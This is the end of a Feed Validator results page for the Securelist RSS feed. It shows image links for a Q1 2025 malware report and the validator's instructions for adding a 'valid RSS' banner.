<media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/04173235/SL-malware-report-q1-2025-featured-1024x512.jpg" width="1024" height="512"><media:keywords>large</media:keywords></media:content>
<media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/04173235/SL-malware-report-q1-2025-featured-300x150.jpg" width="300" height="150"><media:keywords>medium</media:keywords></media:content>
<media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/04173235/SL-malware-report-q1-2025-featured-150x150.jpg" width="150" height="150"><media:keywords>thumbnail</media:keywords></media:content>
</item>
</channel>
</rss>

If you would like to create a banner that links to this page (i.e. this validation result), do the following:

Download the "valid RSS" banner.
Upload the image to your own server. (This step is important. Please do not link directly to the image on this server.)
Add this HTML to your page (change the image src attribute if necessary):

<a href="http://www.feedvalidator.org/check.cgi?url=https%3A//securelist.com/feed/"><img src="valid-rss-rogers.png" alt="[Valid RSS]" title="Validate my RSS feed" /></a>

If you would like to create a text link instead, here is the URL you can use:

http://www.feedvalidator.org/check.cgi?url=https%3A//securelist.com/feed/

Home · About · News · Docs · Terms